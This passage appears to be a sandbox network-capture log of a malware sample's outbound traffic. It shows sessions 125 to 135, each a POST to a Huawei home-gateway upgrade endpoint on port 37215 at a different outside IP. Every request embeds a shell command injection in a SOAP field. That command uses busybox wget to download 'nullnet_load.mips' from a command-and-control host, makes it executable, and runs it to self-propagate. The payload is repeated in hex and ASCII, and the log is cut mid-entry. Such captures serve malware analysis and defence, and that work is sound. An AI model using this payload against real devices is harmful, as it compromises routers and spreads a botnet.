HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	41260	156.69.79.25	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:10.183573961 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	54656	156.171.108.22	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:10.201343060 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	38488	197.216.151.15	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:10.202934980 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	36236	41.118.174.98	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:13.248378992 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	54134	41.149.194.71	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:13.249103069 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	52970	41.109.44.99	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:13.249834061 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	45656	156.32.67.204	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:15.299637079 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	60422	197.233.247.204	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.259162903 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	56226	41.39.192.109	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.260442972 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	56956	197.242.202.49	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.262960911 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	41154	156.32.202.74	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.263761997 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 